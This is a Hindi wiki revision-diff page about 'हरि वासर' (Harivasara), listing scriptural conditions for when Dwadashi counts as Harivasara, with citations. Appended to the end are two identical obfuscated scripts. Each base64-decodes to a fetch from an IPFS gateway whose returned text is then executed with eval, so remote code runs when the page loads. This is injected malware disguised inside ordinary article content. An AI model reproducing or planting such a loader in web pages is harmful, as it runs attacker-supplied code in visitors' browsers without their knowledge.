"हरि वासर": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
No edit summary
पंक्ति 5: पंक्ति 5:
*कृत्यसारसमुच्चय<ref>कृत्यसारसमुच्चय (43)</ref> ने [[मत्स्य पुराण]] को उद्धृत करते हुए कहा है कि यदि [[आषाढ़]] [[शुक्ल पक्ष|शुक्ल]] द्वादशी [[बुधवार]] को पड़ती है और वह [[अनुराधा नक्षत्र]] में रहती है, यदि [[भाद्रपद]] शुक्ल द्वादशी बुधवार को पड़ती है और उस समय [[श्रवण नक्षत्र]] रहता है तथा यदि [[कार्तिक]] शुक्ल द्वादशी बुधवार को पड़ती है और उस समय [[रेवती नक्षत्र]] रहता है तो उसे 'हरिवासर' कहा जाता है।  
*कृत्यसारसमुच्चय<ref>कृत्यसारसमुच्चय (43)</ref> ने [[मत्स्य पुराण]] को उद्धृत करते हुए कहा है कि यदि [[आषाढ़]] [[शुक्ल पक्ष|शुक्ल]] द्वादशी [[बुधवार]] को पड़ती है और वह [[अनुराधा नक्षत्र]] में रहती है, यदि [[भाद्रपद]] शुक्ल द्वादशी बुधवार को पड़ती है और उस समय [[श्रवण नक्षत्र]] रहता है तथा यदि [[कार्तिक]] शुक्ल द्वादशी बुधवार को पड़ती है और उस समय [[रेवती नक्षत्र]] रहता है तो उसे 'हरिवासर' कहा जाता है।  
*स्मृतिकौस्तुभ<ref>स्मृतिकौस्तुभ (29)</ref> के अनुसार द्वादशी 'हरि तिथि' है।  
*स्मृतिकौस्तुभ<ref>स्मृतिकौस्तुभ (29)</ref> के अनुसार द्वादशी 'हरि तिथि' है।  
 
{{प्रचार}}
 
 
{{संदर्भ ग्रंथ}}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==

12:26, 16 जून 2011 का अवतरण


टीका टिप्पणी और संदर्भ

  1. वर्षक्रियाकौमुदी (14)
  2. गरुड़ पुराण (1|127|12)
  3. नारद पुराण(2|24|6 एवं 9)
  4. कृत्यसारसमुच्चय (43)
  5. स्मृतिकौस्तुभ (29)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>